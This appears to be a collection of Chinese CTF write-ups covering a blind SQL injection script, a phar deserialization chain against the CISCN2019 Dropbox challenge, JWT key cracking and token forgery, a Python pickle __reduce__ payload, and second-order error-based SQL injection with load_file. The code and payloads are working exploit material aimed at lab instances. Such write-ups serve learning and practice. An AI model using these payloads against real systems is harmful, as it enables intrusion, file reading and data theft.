import requestsdic = "0123456789qazwsxedcrfvtgbyhnujmikolp{}" "''-=+[]" url = "http://d712a56f-c346-4030-bceb-d192d6b7f3fd.node4.buuoj.cn:81/index.php" ans = "" for i in range (1 , 12 ): j = 12 - i for k in dic: uname = "(ascii(substr((reverse(substr((database())from({}))))from({})))={})" .format (i, j, str (ord (k))) data = { 'id' : uname, } res = requests.post(url=url, data=data) if "girlfriend" in res.text: ans += k print (ans) for i in range (1 , 50 ): uname = "(length((select(flag)from(flag)where(id=1)))={})" .format (i) data = { "id" : uname, } res = requests.post(url=url, data=data) if "girlfriend" in res.text: print ("passwd长度为:" + str (i)) for i in range (1 , 43 ): j = 43 - i for k in dic: uname = "(ascii(substr((reverse(substr((select(flag)from(flag)where(id=1))from({}))))from({})))={})" .format (i, j, ord (k)) data = { 'id' : uname, } res = requests.post(url=url,data=data) if "girlfriend" in res.text: ans += k print (ans)
phar反序列化 [CISCN2019 华北赛区 Day1 Web1]Dropbox
注册试试
可以注册admin多半不是sql注入
发现有上传文件,我们随便上传一个试试
有下载文件,我们去抓个包看看
发现是这种形式,测试一下有没有任意文件下载
可以下载源码那么我们下载下来
index.php
<?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class ="breadcrumb "> <li class ="breadcrumb -item active ">管理面板</li > <li class ="breadcrumb -item active "><label for ="fileInput " class ="fileLabel ">上传文件</label ></li > <li class ="active ml -auto "><a href ="#">你好 <?php echo $_SESSION ['username ']?></a ></li > </ol > </nav > <input type ="file " id ="fileInput " class ="hidden "> <div class ="top " id ="toast -container "></div > <?php include "class .php ";$a = new FileList ($_SESSION ['sandbox ']); $a ->Name (); $a ->Size (); ?>
这里发现一个class.php
<?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
delete.php
HTTP/1.1 200 OK Server: openresty Date: Tue, 12 Apr 2022 05 :42 :55 GMT Content-Type: application/octet-stream Connection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0 , pre-check=0 Content-Disposition: attachment; filename=delete.php Expires: Thu, 19 Nov 1981 08 :52 :00 GMT Pragma: no-cache X-Powered-By: PHP/5.6 .40 Content-Length: 644 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
download.php
<?php if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
我们可以很自然的想到反序列化的题目,但是这里找了一下并没有找到unserialize(),这里加上存在文件上传.便很自然的想到了phar反序列化问题了.我们去找找有没有可以利用的方法
这里存在两个,我们去找找利用链.转到声明或者用例
可以发现这里的filename可控,并且也可以触发phar的反序列化.那么我们就找到了反序列化的入口了.接着我们去找反序列化的利用链.我们可以从终点开始,由file类的close()方法看看如何调到这里
首先找到了user调用了db的close()方法,这里的db参数可控,那么我们就可以去构造利用这个点去执行我们想要的closef()方法.但是我们如果直接去调用file类的close()方法当然是可以调用到的,但是却没有回显.所以我们很自然就想到了去调用filelist类的call()方法.这里要注意的是__call()方法的$func参数是调用的方法名,后面的$args是调用的参数.那么这里又发现这个$file参数可控,就可以构造$file为file类去调用file类的close()方法了
<?php class User { public $db ; public function __construct ( ) { $this ->db = new FileList (); } } class FileList { private $files ; public function __construct ( ) { $this ->files = array (new File ()); } } class File { public $filename = '/flag.txt' ; } $final = new User ();@unlink ('test.phar' ); $phar =new Phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );$phar ->setMetadata ($final );$phar ->addFromString ("test.txt" ,"test" );$phar ->stopBuffering ();?>
生成phar文件之后,改个名上传一下
接着去delete.php下传参刚才改的名字触发反序列化
python反序列化
打开发现这样
看到有lv6
发现是图片标志我们脚本跑一下
import requests url = 'http://98fe4479-f4f8-42fc-8ce0-e939a904aaff.node4.buuoj.cn:81/shop?page=' for i in range (1 ,500 ): url = url + str (i) r = requests.get (url) if 'lv6.png' in r.text: print (i) print (r.text) break
发现在181页
有点贵
有折扣,我们试试能不能修改
看到page 1 2 3有登录有注册
先注册admin如果成功就跟sql注入jwt没什么关系了
但是很明显没有成功,那么我们就先注册一个普通的登进去
发现回显了用户名和邮箱.再去看看cookie信息
我们先解一下看看
我们先试试去掉密钥
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6IjAifQ
不行,那么我们去爆破一下密钥
找到了
那么我们直接修改
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
发现www.zip文件
翻到一个这个
留了一个后门
python puckle反序列化漏洞
利用点在become这里
import pickleimport urllibclass Test (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) a = Test() s = pickle.dumps(a) print (urllib.quote(s))
二次注入
看源码发现提示
发现文件包含
发现有过滤
我们试试别的
?file=php://filter/read=convert.base64-encode/resource=index.php
只有这个可行
index.php
<?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php global $msg ; echo '<h2 class="mb">' .$msg .'</h2>' ;?>
search.php
<?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); if (!$row ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php global $msg ; echo '<h2 class="mb">' .$msg .'</h2>' ;?>
change.php
<?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php global $msg ; echo '<h2 class="mb">' .$msg .'</h2>' ;?>
delete.php
<?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php global $msg ; echo '<h2 class="mb" style="color:#ffffff;">' .$msg .'</h2>' ;?>
config.php
<?php ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );$DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli ($DATABASE ['host' ],$DATABASE ['username' ],$DATABASE ['password' ],$DATABASE ['dbname' ]);
首先这一看就是一个sql注入的题目,并且有打印数据库错误信息,那么很明显就是存在报错注入,只是我们需要去寻找利用点,看一看这里不仅过滤了一些关键词语,并且查询内容是没有回显的,但是发现在change.php中传入了三个参数,但是有两个参数是进行的过滤,还有一个参数是进行的转义处理,如果这里没有宽字节绕过的话,只能是二次注入了.这里也明显能够看到在取出老地址时并没有进行处理,就直接进行了下一条语句的查询.那么简单的二次注入出现了
先提交订单
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #
接着修改订单
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e))-- #
好像不在数据库里面,那么我们读取本地文件试试
1' and extractvalue(1,concat(0x7e,(select left(load_file('/flag.txt'),30)),0x7e))-- #
1' and extractvalue(1,concat(0x7e,(select right(load_file('/flag.txt'),30)),0x7e))-- #
flag{1ffc3205-c4f2-4a9c-937b-a c4f2-4a9c-937b-a373d7f44a4b} flag{1ffc3205-c4f2-4a9c-937b-a373d7f44a4b}